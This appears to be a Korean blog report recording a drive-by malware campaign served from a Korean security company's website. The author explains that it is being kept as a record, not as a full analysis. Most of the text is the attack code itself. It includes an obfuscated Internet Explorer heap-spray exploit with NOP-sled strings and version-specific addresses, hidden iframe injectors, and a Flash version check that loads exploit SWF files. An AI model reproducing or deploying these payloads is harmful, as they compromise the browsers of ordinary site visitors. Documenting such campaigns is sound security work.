지난 번 ws2help.dll 악성코드와 동일한 공격방식으로 분석이 아니라 자료를 남기고자 리포팅 한다.
<ws2help.dll 분석 리포트> - 분석 리포트 보기 |
인터넷 서핑 중 악성코드에 감염되어 확인 결과
유포지가 우리나라 보안기업 홈페이지로 확인이 되었다.
대부분 영세한 기업의 홈페이지는 호스팅 업체에 맡기고 있으니 보안업체라고 다 보안이 되는건 아니지만
보안업체 홈페이지에서 유포되니.. 참.. 안타깝다.
악성코드 유포지는 다음과 같으며 아직 유포중인 관계로 * 처리를 하였다. (내 스딸이 아니긴 한데..ㅋ)
각 악성코드 내용
<script language="JavaScript" type="text/javascript"> var cookieString = document.cookie; var start = cookieString.indexOf("nb116309="); if (start != -1) { location.replace("about:blank"); } else { var expires = new Date(); expires.setTime(expires.getTime() + 0.6 * 60 * 60 * 1000); document.cookie = "nb116309=yes;expires=" + expires.toGMTString(); document.write("<iframe src='1.html' width='116' height='1' frameborder='0'></iframe>"); if((navigator.userAgent.indexOf("M"+"S"+"I"+"E 7")==-1)&&(navigator.userAgent.indexOf("M"+"S"+"I"+"E 8")==-1)){ document.write("<iframe src='2.html' width='116' height='1' frameborder='0'></iframe>");} } </script> <script type="text/javascript" src="http://js.tongji.linezing.com/2497423/tongji.js"></script> |
<Script src="nb.js" type="text/javascript"></Script> <script type="text/javascript"> var nbVer=deconcept.SWFObjectUtil["ge"+"tPlay"+"erVers"+"ion"](); if(nbVer['m'+'a'+'j'+'o'+'r']==10) { if(nbVer['minor']==3) { //nb flash 10.3 document.write("<iframe src=nb.htm width=116 height=1></iframe>"); } else { //nb flash 10 ~ 10.2 var ver=0; var ua = navigator.userAgent.toLowerCase(); if (window.ActiveXObject){if(ua.match(/msie ([\d.]+)/)[1]=='6.0'){ver=1;}} if(ver==1) { document.write('<embed src=nb6.swf width=110 height=1>'); } else { document.write('<embed src=nb8.swf width=100 height=1>'); } } } else { //nb flash 6 ~ 9 var ver=0; var ua = navigator.userAgent.toLowerCase(); if (window.ActiveXObject){if(ua.match(/msie ([\d.]+)/)[1]=='6.0'){ver=1;}} if(ver==1) { document.write('<embed src=nb6.swf width=110 height=1>'); } else { document.write('<embed src=nb8.swf width=100 height=1>'); } } </script> |
<BUTTON id=netboom style='DISPLAY: none' onclick=a1();></BUTTON> <script src='2.js'></script> <SCRIPT language='javascript'> var a3 = nb5(); var a4 = nb6(a3); function nb1(){ nbLuck = new Array(); var nbPower = 0x86000-(a4.length*2); var nbZF = '0'+'c'+'0'+'c'; var nbNop = nb4(nbZF); nbNop = nbNop + nbNop; while(nbNop.length<nbPower/2) { nbNop+=nbNop; } var nbSize = nbNop.substring(0,nbPower/2); delete nbNop; for(nbx=0; nbx<270; nbx++) { nbLuck[nbx] = nbSize + nbSize + a4;}} function a1() { nb1(); var a7 = document.createElement(nbD); a7.addBehavior(nbC); document.appendChild(a7); try { i=0; while(i<10) { a7.setAttribute('s',window); i++; } } catch(e){ } window.status+=''; } if(navigator.userAgent.toLowerCase().indexOf("m"+"s"+"i"+"e 6")>0){ addr = 241748; document.getElementById('netboom').onclick(); }else if(navigator.userAgent.toLowerCase().indexOf("m"+"s"+"i"+"e 7")>0){ addr = 733120; } function nb3(bytes, mystr, nbstr) { while (mystr.length< bytes){ mystr += mystr; } return mystr.substr(0, (bytes-6)/2) + nbstr; } var nbwmHaha = new Array(); var nbwmXixi = nb4("0"+"d"+"0"+"d"); nbwmXixi = nbwmXixi + nbwmXixi; nbwmXixi = nb3(addr, nbwmXixi, a4); var n = 0; while(n < 1000){ nbwmHaha[n] = nbwmXixi.substr(0, nbwmXixi.length); n++; } document.write("<"+"t"+"a"+"b"+"l"+"e "+"s"+"t"+"y"+"l"+"e"+"=p"+"o"+"s"+"it"+"io"+"n:"+"a"+"b"+"s"+"o"+"l"+"u"+"t"+"e;"+"c"+"li"+"p:"+"r"+"e"+"ct"+"("+"0)>"); function nb5() { var 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/** /* ---- detection functions ---- */ /* add some aliases for ease of use/backwards compatibility */ |
var nbC="#"+"d"+"ef"+"au"+"l"+"t"+"#"+"u"+"se"+"rDa"+"t"+"a", nbD="b"+"o"+"d"+"y", addr; |
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